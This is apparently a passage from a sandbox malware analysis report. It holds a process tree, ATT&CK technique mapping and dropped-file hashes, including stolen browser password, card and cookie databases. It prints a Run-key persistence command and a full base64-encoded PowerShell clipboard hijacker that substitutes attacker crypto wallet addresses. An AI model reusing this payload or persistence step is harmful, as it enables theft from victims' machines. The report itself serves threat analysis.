                                      C:\Windows\system32\cmd.exe /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "CKoqEKlyKb" /t REG_SZ /d "wscript.exe "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\CKoqEKlyKb.vbs"" /f"
                                      3⤵
                                      • Suspicious use of WriteProcessMemory
                                      PID:2588
                                      • C:\Windows\system32\reg.exe
                                        reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "CKoqEKlyKb" /t REG_SZ /d "wscript.exe "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\CKoqEKlyKb.vbs"" /f
                                        4⤵
                                        • Adds Run key to start application
                                        PID:3040
                                    • C:\Windows\SYSTEM32\wscript.exe
                                      wscript.exe C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\CKoqEKlyKb.vbs
                                      3⤵
                                      • Suspicious use of WriteProcessMemory
                                      PID:5236
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand CgAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMACgAKACQAYQBkAGQAeQAgAD0AIABAAHsACgAKACAAIAAgACAAIgBiAHQAYwAiAD0AIgBiAGMAMQBxAGYAcAB0ADYAbABqAG0ANwBqADIAZQBkAHMAagBuADYAZgA4AGEAcQBzAHQAOQBxAHUANgB4ADUANQBkAGcAeQBmAHoAMwAwAGgAdwAiADsACgAKACAAIAAgACAAIgBlAHQAaAAiAD0AIgAwAHgAOABlADkANwA3AGMAMAAwAEUAZgBlAEYAMABlADMAQwA5AGEAMAA0ADQAQwAwADYANAAxAGUAMgA2ADQAOABGADcANwAzADEANAAyADUAZAAiADsACgAKACAAIAAgACAAIgBsAHQAYwAiAD0AIgBsAHQAYwAxAHEAZgBjAHIAcABtAHgAdwA3ADQAMgBsAGMAZQBmADQAMwA1ADUAMgA2AGwAdwBkAHEAeQBuAHQAOABlAHIAcwBtAHQANAB5AGgAYQA3ACIAOwAKAAoAIAAgACAAIAAiAHUAcwBkAHQAIgA9ACIAVABVAEMAcgBhADcAYwA0ADgAYgB5AEwANAB4AEgAZgBaAFcAbgBYAGcAbQBKAEQAdQBQAHcAOQB1AHAAVABQAHoAMgAiADsACgAKACAAIAAgACAAIgB0AHIAeAAiAD0AIgBUAFUAQwByAGEANwBjADQAOABiAHkATAA0AHgASABmAFoAVwBuAFgAZwBtAEoARAB1AFAAdwA5AHUAcABUAFAAegAyACIAOwAKAAoAIAAgACAAIAAiAHMAbwBsACIAPQAiADUARQBXAHYATABLAFcAagA2ADYAcgBzAFYAdwBkAG8AVQBqAFQAeQBnAHUAagBqAFMAZgB1AHMARQBYAGYAVABSAGIAaAB2AFMANQBUAEIAaQAxAE0AeQAiADsACgAKACAAIAAgACAAIgB4AHIAcAAiAD0AIgByADMATgBWAEcAOQBQAEQAaABTAEoAZgBWAFIAdQBjAHYAVABoAFcAUwBQAGQAMQBRAEoAcgB2ADIAYwBuADIAZABvACIAOwAKAAoAIAAgACAAIAAiAHQAbwBuACIAPQAiAFUAUQBBADQAYQBsAGgAaAB2AGgAVABLAHEAeAB4AHUAdgB3AEMAeAByAHMAUgBsAEMASQBTAG0AQwBrADMAbQBLAFAAUAAwAHEARQBwAEwAcwB0AHIAcABtAHgAQgBpACIAOwAKAAoAIAAgACAAIAAiAGQAbwBnAGUAIgA9ACIARABHAGYANgBpAEoAZAA5AGIAZwBTAHQARwBkAEIASAA3AHYAeQB1AGsAcwBXAG0AZQA2AEYAQQB0AG4AbQBwAG8AdQAiADsACgAKACAAIAAgACAAIgBhAGQAYQAiAD0AIgBhAGQAZAByADEAcQA5AHUAYQBkAHMAcQBzAHUAcgB5AGwAagBqAG0AdABzAGEAbgBmAHcAMwB6ADgAdABzAHcAcQBhAGQAOQB3AGQAdQB2AGoAegA5ADMAawBxAHAAaABmAG4AcABzADAAcQBuADMAZABxAGMAbAAyAG4AawBhADgAZgB4AHkAcQB4AGoAOQB4AHQAcgB4AHcANwBwAGoAcQB4AGsAdQBjADUAbQAyAG4AcABoAGsAZgBoADcAOABzADQAawA5ADMAdgA3ACIAOwAKAAoAIAAgACAAIAAiAHMAaABpAGIAIgA9ACIAMAB4ADgAZQA5ADcANwBjADAAMABFAGYAZQBGADAAZQAzAEMAOQBhADAANAA0AEMAMAA2ADQAMQBlADIANgA0ADgARgA3ADcAMwAxADQAMgA1AGQAIgA7AAoACgAgACAAIAAgACIAcABlAHAAZQAiAD0AIgAwAHgAOABlADkANwA3AGMAMAAwAEUAZgBlAEYAMABlADMAQwA5AGEAMAA0ADQAQwAwADYANAAxAGUAMgA2ADQAOABGADcANwAzADEANAAyADUAZAAiADsACgAKACAAIAAgACAAIgBiAG4AYgAiAD0AIgAwAHgAOABlADkANwA3AGMAMAAwAEUAZgBlAEYAMABlADMAQwA5AGEAMAA0ADQAQwAwADYANAAxAGUAMgA2ADQAOABGADcANwAzADEANAAyADUAZAAiADsACgAKACAAIAAgACAAIgBzAHUAaQAiAD0AIgAwAHgANAA5ADYAYwA1AGEAZABkAGYAMQA2ADYAZgA2ADcAOQAxAGEAMwBlAGUAYgAwAGIAMQBkADcANwBmAGQANgA1ADEAMABmADQANQA2ADIANQA2AGUANAAzAGEAOQBiADEAZAAwAGMANABhADgAOABiADMAMQA0AGYAZAA5ADcAZQAiADsACgAKACAAIAAgACAAIgB4AGwAbQAiAD0AIgBHAEEATQBCAEwAUwBQAEoASgBOAEMAUgBFAFcANwAyAFoARABDADIAQQBPAFoASgBMAEQANgBSAE4ATwBJAE4AWABHAE8ARwBMAFAASQBRAFAANgBOADMAQQA1AFUARABPAEMAWgBMAEUAQQA0ADQAIgA7AAoACgAgACAAIAAgACIAYgBjAGgAIgA9ACIAcQB6ADcAagB1ADAAOAA2AHAAMgAwAHMAdwBhAGgAcgByAGUAYQBoAGcANQBmADkANQBoAGgAZwBtAHUAdwBjAHoAcQBoAG4AbgA3AHAAbgBwAGQAIgAKAAoAfQAKAAoAdwBoAGkAbABlACgAJAB0AHIAdQBlACkAewAKACAAIAAgACAAdAByAHkAewAKACAAIAAgACAAIAAgACAAIAAkAHYAPQAkAG4AdQBsAGwACgAgACAAIAAgACAAIAAgACAAaQBmACgAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAGwAaQBwAGIAbwBhAHIAZABdADoAOgBDAG8AbgB0AGEAaQBuAHMAVABlAHgAdAAoACkAKQB7AAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHQAPQBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAEMAbABpAHAAYgBvAGEAcgBkAF0AOgA6AEcAZQB0AFQAZQB4AHQAKAApAC4AVAByAGkAbQAoACkACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAoACEAWwBzAHQAcgBpAG4AZwBdADoAOgBJAHMATgB1AGwAbABPAHIAVwBoAGkAdABlAFMAcABhAGMAZQAoACQAdAApACkAewAKAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgAoADEAfAAzAHwAYgBjADEAKQBbAGEALQB6AEEALQBIAEoALQBOAFAALQBaADAALQA5AF0AewAyADUALAA2ADIAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAYgB0AGMAIgBdAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgAwAHgAWwBhAC0AZgBBAC0ARgAwAC0AOQBdAHsANAAwAH0AJAAnACkAewAkAHYAPQAkAGEAZABkAHkAWwAiAGUAdABoACIAXQB9AAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGUAbABzAGUAaQBmACgAJAB0ACAALQBtAGEAdABjAGgAIAAnAF4AKABMAHwATQB8AGwAdABjADEAKQBbAGEALQBrAG0ALQB6AEEALQBIAEoALQBOAFAALQBaADEALQA5AF0AewAyADYALAA0ADAAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAbAB0AGMAIgBdAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgBUAFsAYQAtAHoAQQAtAEgASgAtAE4AUAAtAFoAMAAtADkAXQB7ADMAMwB9ACQAJwApAHsAJAB2AD0AJABhAGQAZAB5AFsAIgB1AHMAZAB0ACIAXQB9AAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGUAbABzAGUAaQBmACgAJAB0ACAALQBtAGEAdABjAGgAIAAnAF4AWwAxAC0AOQBBAC0ASABKAC0ATgBQAC0AWgBhAC0AawBtAC0AegBdAHsAMwAyACwANAA0AH0AJAAnACkAewAkAHYAPQAkAGEAZABkAHkAWwAiAHMAbwBsACIAXQB9AAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGUAbABzAGUAaQBmACgAJAB0ACAALQBtAGEAdABjAGgAIAAnAF4AcgBbADAALQA5AGEALQB6AEEALQBaAF0AewAyADQALAAzADQAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAeAByAHAAIgBdAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgAoAFUAUQB8AEUAUQApAFsAQQAtAFoAYQAtAHoAMAAtADkAXwAtAF0AewA0ADYAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAdABvAG4AIgBdAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgBEAFsANQAtADkAQQAtAEgASgAtAE4AUAAtAFUAXQBbADEALQA5AEEALQBIAEoALQBOAFAALQBaAGEALQBrAG0ALQB6AF0AewAzADIALAAzADMAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAZABvAGcAZQAiAF0AfQAKAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABlAGwAcwBlAGkAZgAoACQAdAAgAC0AbQBhAHQAYwBoACAAJwBeAGEAZABkAHIAMQBbADAALQA5AGEALQB6AF0AewA1ADgALAB9ACQAfABeAEQAZAB6AEYARgBbAEEALQBaAGEALQB6ADAALQA5AF0AKwAnACkAewAkAHYAPQAkAGEAZABkAHkAWwAiAGEAZABhACIAXQB9AAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGUAbABzAGUAaQBmACgAJAB0ACAALQBtAGEAdABjAGgAIAAnAF4ARwBbAEEALQBaADAALQA5AF0AewA1ADUAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAeABsAG0AIgBdAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgAoAGIAaQB0AGMAbwBpAG4AYwBhAHMAaAA6ACkAPwBbAHEAcABdAFsAYQAtAHoAMAAtADkAXQB7ADQAMQB9ACQAJwApAHsAJAB2AD0AJABhAGQAZAB5AFsAIgBiAGMAaAAiAF0AfQAKAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAKAAkAHYAIAAtAGEAbgBkACAAJAB0ACAALQBuAGUAIAAkAHYAKQB7AFsAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAC4AQwBsAGkAcABiAG8AYQByAGQAXQA6ADoAUwBlAHQAVABlAHgAdAAoACQAdgApAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAKACAAIAAgACAAIAAgACAAIAB9AAoACgAgACAAIAAgAH0AYwBhAHQAYwBoAHsAfQAKAAoAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAANQAwADAACgAKAH0ACgAKAA==
                                        4⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:5172
                                • C:\Windows\system32\AUDIODG.EXE
                                  C:\Windows\system32\AUDIODG.EXE 0x00000000000004F0 0x00000000000004F8
                                  1⤵
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3400
                                • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                  "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                  1⤵
                                    PID:4500
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                    1⤵
                                      PID:3168
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                      1⤵
                                      • Modifies data under HKEY_USERS
                                      PID:1032
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                      1⤵
                                        PID:2780
                                      • C:\Windows\system32\sihost.exe
                                        sihost.exe
                                        1⤵
                                        • Suspicious use of FindShellTrayWindow
                                        • Suspicious use of WriteProcessMemory
                                        PID:3096
                                        • C:\Windows\explorer.exe
                                          explorer.exe /LOADSAVEDWINDOWS
                                          2⤵
                                          • Boot or Logon Autostart Execution: Active Setup
                                          • Enumerates connected drives
                                          • Checks SCSI registry key(s)
                                          • Modifies Internet Explorer settings
                                          • Modifies registry class
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          • Suspicious use of FindShellTrayWindow
                                          • Suspicious use of SendNotifyMessage
                                          • Suspicious use of SetWindowsHookEx
                                          PID:1804
                                      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                                        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                                        1⤵
                                        • Modifies registry class
                                        • Suspicious use of SetWindowsHookEx
                                        PID:2508
                                      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                        1⤵
                                        • Modifies registry class
                                        • Suspicious use of SetWindowsHookEx
                                        PID:364

                                      Network

                                            MITRE ATT&CK Enterprise v16

                                            Reconnaissance

                                            Resource Development

                                            Initial Access

                                            Execution

                                            Command and Scripting Interpreter

                                            1
                                            T1059

                                            PowerShell

                                            1
                                            T1059.001

                                            Persistence

                                            Boot or Logon Autostart Execution

                                            2
                                            T1547

                                            Active Setup

                                            1
                                            T1547.014

                                            Registry Run Keys / Startup Folder

                                            1
                                            T1547.001

                                            Modify Authentication Process

                                            1
                                            T1556

                                            Privilege Escalation

                                            Boot or Logon Autostart Execution

                                            2
                                            T1547

                                            Active Setup

                                            1
                                            T1547.014

                                            Registry Run Keys / Startup Folder

                                            1
                                            T1547.001

                                            Defense Evasion

                                            Hide Artifacts

                                            2
                                            T1564

                                            Hidden Files and Directories

                                            2
                                            T1564.001

                                            Modify Authentication Process

                                            1
                                            T1556

                                            Modify Registry

                                            3
                                            T1112

                                            Credential Access

                                            Credentials from Password Stores

                                            1
                                            T1555

                                            Credentials from Web Browsers

                                            1
                                            T1555.003

                                            Modify Authentication Process

                                            1
                                            T1556

                                            Steal Web Session Cookie

                                            1
                                            T1539

                                            Unsecured Credentials

                                            3
                                            T1552

                                            Credentials In Files

                                            3
                                            T1552.001

                                            Discovery

                                            Browser Information Discovery

                                            1
                                            T1217

                                            Peripheral Device Discovery

                                            2
                                            T1120

                                            Query Registry

                                            4
                                            T1012

                                            System Information Discovery

                                            4
                                            T1082

                                            System Location Discovery

                                            1
                                            T1614

                                            System Language Discovery

                                            1
                                            T1614.001

                                            System Time Discovery

                                            1
                                            T1124

                                            Lateral Movement

                                            Collection

                                            Data from Local System

                                            2
                                            T1005

                                            Command and Control

                                            Web Service

                                            1
                                            T1102

                                            Exfiltration

                                            Impact

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            BookmarkMergedSurfaceOrdering
                                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                                            • Size 6B
                                            • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                                            • MD5 SHA1 SHA512
                                            Submit Download

                                            messages.json
                                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json
                                            • Size 593B
                                            • SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
                                            • MD5 SHA1 SHA512 TLSH
                                            Submit Download

                                            craw_background.js
                                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js
                                            • Size 531KB
                                            • SHA256 04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            CURRENT
                                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\CURRENT
                                            • Size 16B
                                            • SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
                                            • MD5 SHA1 SHA512
                                            Submit Download

                                            SCT Auditing Pending Reports
                                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                                            • Size 2B
                                            • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                            • MD5 SHA1 SHA512
                                            Submit Download

                                            MANIFEST-000001
                                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\MANIFEST-000001
                                            • Size 41B
                                            • SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
                                            • MD5 SHA1 SHA512
                                            Submit Download

                                            cookies_temp_4502.db
                                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\cookies_temp_4502.db
                                            • Size 20KB
                                            • SHA256 2ade7ad8f15eccb025798893f007bc3a04679504411bbad75e4d1f35cf47a65e
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            credit_cards.db
                                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\credit_cards.db
                                            • Size 138KB
                                            • SHA256 eda0bae495757c61d572718c740f9dc7a94bb8f339147fe4ec121bc3929debb0
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            passwords.db
                                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\passwords.db
                                            • Size 40KB
                                            • SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            Local State
                                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                            • Size 4KB
                                            • SHA256 fd18cbb14a1fa80b9f8a44f60f1d4dca9df496ee05c1abfc614716fb668616a3
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            settings.dat
                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                            • Size 280B
                                            • SHA256 f2f36159b1a73a0ea0e59f51f1f373932375016885fcf17933887e7d1b2c3016
                                            • MD5 SHA1 SHA512 TLSH
                                            Submit Download

                                            settings.dat
                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                            • Size 280B
                                            • SHA256 99348710dfa24f06e3cc9e5d66d99b450d2606932193b821d1cccbb1b0382494
                                            • MD5 SHA1 SHA512 TLSH
                                            Submit Download

                                            Edge Profile.ico
                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
                                            • Size 70KB
                                            • SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            the-real-index
                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\dd5e0060-0f87-451e-8b46-7099d3d20252\index-dir\the-real-index
                                            • Size 360B
                                            • SHA256 118b61c4a6eec8692b57896680fb9d8d6cca3877d991733b19a0f43c47b5a3f3
                                            • MD5 SHA1 SHA512 TLSH
                                            Submit Download

                                            the-real-index~RFe5995ae.TMP
                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\dd5e0060-0f87-451e-8b46-7099d3d20252\index-dir\the-real-index~RFe5995ae.TMP
                                            • Size 360B
                                            • SHA256 39e5ce336c7dfe56a565174fc3f570673f0392c372ef8bfa953b8f502705672e
                                            • MD5 SHA1 SHA512 TLSH
                                            Submit Download

                                            cookies_temp_2658.db
                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\cookies_temp_2658.db
                                            • Size 24KB
                                            • SHA256 4cc1a146d871eea502899024db7a2ff4ab46d4e787819a0fd75cc74aa7dd9926
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            passwords.db
                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\passwords.db
                                            • Size 50KB
                                            • SHA256 92deb9024ca49204bb9a97b2936ac1aaf6e20e437ed40db53a5409bf801c0a20
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            webdata.db
                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\webdata.db
                                            • Size 256KB
                                            • SHA256 b0c72944fc5bd02ac464a83ac972277e38d0dbc674f2a634c0d432bf882ef89a
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            Local State
                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                            • Size 38KB
                                            • SHA256 e5288f083e8d24562f43e63234c29f154280c028dfbbc92e4975f074f6b56827
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            prep_Activatable Class_Hermes_perf.cache
                                            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                                            • Size 599B
                                            • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
                                            • MD5 SHA1 SHA512 TLSH
                                            Submit Download

                                            BASSMOD.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\BASSMOD.dll
                                            • Size 33KB
                                            • SHA256 8ad9e47693e292f381da42ddc13724a3063040e51c26f4ca8e1f8e2f1ddd547f
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            R2RRPRKG2.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\R2RRPRKG2.dll
                                            • Size 85KB
                                            • SHA256 d109a8ba3f5f76f2860f8649895a52c556f5ba57faff2ce96a8216f09b47360a
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            ServiceUpdate_3744.exe
                                            • Path C:\Users\Admin\AppData\Local\Temp\ServiceUpdate_3744.exe
                                            • Size 430KB
                                            • SHA256 8e3ae377a8835cbaf451748fb97da75444ab5fd1c17b1293c4ac887ededa303e
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            81d243bd2c585b0f4821__mypyc.cp311-win_amd64.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\81d243bd2c585b0f4821__mypyc.cp311-win_amd64.pyd
                                            • Size 211KB
                                            • SHA256 89b688b3848e196de02a444c72cfc25bb3efebaba84a28469ac1e7f5738e0564
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            _raw_aes.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\Crypto\Cipher\_raw_aes.pyd
                                            • Size 34KB
                                            • SHA256 520b343e44b5633bbc4fdcecc705a7f2eb6e55d082a1f3e4723ada9d7e5ea97d
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            _raw_aesni.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\Crypto\Cipher\_raw_aesni.pyd
                                            • Size 15KB
                                            • SHA256 3818873f50418cbecde58150e9bffff7372d2c2067fc0b96ffac9482dfddd603
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            _raw_des3.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\Crypto\Cipher\_raw_des3.pyd
                                            • Size 51KB
                                            • SHA256 b60ce99ebcb7946fa9b66660ce7bba919571e0f1a97fb4c7e8a385d86cfa5c58
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            _cpuid_c.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\Crypto\Util\_cpuid_c.pyd
                                            • Size 10KB
                                            • SHA256 2af984819d9b1f95132520901b355eb85aa24d5efc6fc5ae9e77252ed03b7f4b
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            VCRUNTIME140.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\VCRUNTIME140.dll
                                            • Size 96KB
                                            • SHA256 d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            VCRUNTIME140_1.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\VCRUNTIME140_1.dll
                                            • Size 37KB
                                            • SHA256 1758085a61527b427c4380f0c976d29a8bee889f2ac480c356a3f166433bf70e
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            _asyncio.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\_asyncio.pyd
                                            • Size 62KB
                                            • SHA256 aebc378db08617ea81a0a3a3bc044bcc7e6303e314630392dd51bab12f879bd9
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            _bz2.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\_bz2.pyd
                                            • Size 81KB
                                            • SHA256 5843872d5e2b08f138a71fe9ba94813afee59c8b48166d4a8eb0f606107a7e80
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            _ctypes.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\_ctypes.pyd
                                            • Size 120KB
                                            • SHA256 e662d2b35bb48c5f3432bde79c0d20313238af800968ba0faa6ea7e7e5ef4535
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            _decimal.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\_decimal.pyd
                                            • Size 245KB
                                            • SHA256 d0df57988a74acd50b2d261e8b5f2c25da7b940ec2aafbee444c277552421e6e
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            _hashlib.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\_hashlib.pyd
                                            • Size 62KB
                                            • SHA256 39bc615842a176db72d4e0558f3cdcae23ab0623ad132f815d21dcfbfd4b110e
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            _lzma.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\_lzma.pyd
                                            • Size 154KB
                                            • SHA256 613de58e4a9a80eff8f8bc45c350a6eaebf89f85ffd2d7e3b0b266bf0888a60a
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            _multiprocessing.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\_multiprocessing.pyd
                                            • Size 32KB
                                            • SHA256 0ae3bf383ff998886f97576c55d6bf0a076c24395cf6fcd2265316e9a6e8c007
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            _overlapped.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\_overlapped.pyd
